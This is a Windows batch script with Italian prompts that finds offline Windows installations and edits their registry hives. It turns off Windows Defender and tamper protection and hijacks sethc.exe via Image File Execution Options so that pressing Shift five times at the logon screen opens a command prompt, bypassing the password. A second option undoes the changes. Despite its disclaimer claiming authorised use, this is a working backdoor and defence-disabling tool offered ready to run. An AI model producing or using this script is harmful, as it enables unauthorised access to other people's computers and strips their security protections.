@echo off setlocal enableextensions enabledelayedexpansion set alfabeto="CDEFGHIJKLMNOPQRSTUVW" set trovato=0 echo ************************************************************* echo DISCLAIMER IMPORTANTE echo Questo script e' destinato esclusivamente a scopi legittimi e echo puo' essere utilizzato solo da amministratori di sistema o utenti autorizzati. echo Gli autori dello script declinano ogni responsabilita'. echo Assicurati di avere il permesso esplicito per eseguire questo script echo sul sistema su cui intendi utilizzarlo. echo ************************************************************* echo. pause echo Ricerca delle installazioni di Windows in corso... for /l %%i in (0,1,20) do ( set drive=!alfabeto:~%%i,1! if exist "!drive!:\windows\explorer.exe" ( set /a trovato+=1 set "installazione[!trovato!]=!drive!:\windows" rem Ottieni l'etichetta dell'unità set "etichetta=" REM Inizializza la variabile etichetta set "etichetta_trovata=0" REM Flag per verificare se abbiamo gia' trovato l'etichetta for /f "delims=" %%e in ('vol !drive!:') do ( if !etichetta_trovata! equ 0 ( set "etichetta=%%e" set "etichetta_trovata=1" REM Imposta il flag per indicare che l'etichetta e' stata trovata ) ) echo !trovato!. !drive!:\windows - Etichetta: !etichetta! ) ) if !trovato! equ 0 ( echo Non sono state trovate installazioni di Windows goto fine ) :scelta set /p choice=Inserisci il numero dell'installazione di Windows su cui desideri agire (0 per uscire): if !choice! equ 0 ( echo Uscita dallo script. goto fine ) if !choice! lss 1 if !choice! gtr !trovato! ( echo Scelta non valida. Riprova. goto scelta ) rem Estrai la lettera dell'unita' dall'installazione selezionata for /f "tokens=1 delims=:" %%d in ("!installazione[%choice%]!") do set drive_letter=%%d: echo Hai scelto l'installazione: !installazione[%choice%]! :opzioni set /p opzione=Desideri impostare il bypass della password (1) o ripristinare la configurazione di default di Windows (2)? (0 per uscire): if !opzione! equ 0 ( echo Uscita dallo script. goto fine ) if !opzione! equ 1 ( rem Imposta il bypass della password reg load HKLM\WINBYPASS !drive_letter!\windows\system32\config\SOFTWARE reg add "HKLM\WINBYPASS\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f reg add "HKLM\WINBYPASS\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /d C:\windows\system32\cmd.exe /f reg add "HKLM\WINBYPASS\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f reg unload HKLM\WINBYPASS reg load HKU\WINBYPASS !drive_letter!\windows\system32\config\DEFAULT reg add "HKU\WINBYPASS\Control Panel\Accessibility\StickyKeys" /v Flags /t REG_SZ /d "510" /f reg add "HKU\WINBYPASS\Control Panel\Accessibility\ToggleKeys" /v Flags /t REG_SZ /d "62" /f reg add "HKU\WINBYPASS\Control Panel\Accessibility\Keyboard Response" /v Flags /t REG_SZ /d "126" /f reg unload HKU\WINBYPASS echo Operazione di bypass password completata. echo - Alla comparsa della schermata di logon premere per almeno 5 volte il tasto MAIUSC ) else if !opzione! equ 2 ( rem Ripristina la configurazione di default di Windows reg load HKLM\WINBYPASS !drive_letter!\windows\system32\config\SOFTWARE reg delete "HKLM\WINBYPASS\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f reg delete "HKLM\WINBYPASS\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f reg add "HKLM\WINBYPASS\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 1 /f reg unload HKLM\WINBYPASS echo Operazione di ripristino completata. ) else ( echo Opzione non valida. Riprova. goto opzioni ) echo ATTENZIONE: Il sistema si riavviera' entro pochi secondi, attendere... start !drive_letter!\windows\system32\shutdown.exe /r /t 10 :fine endlocal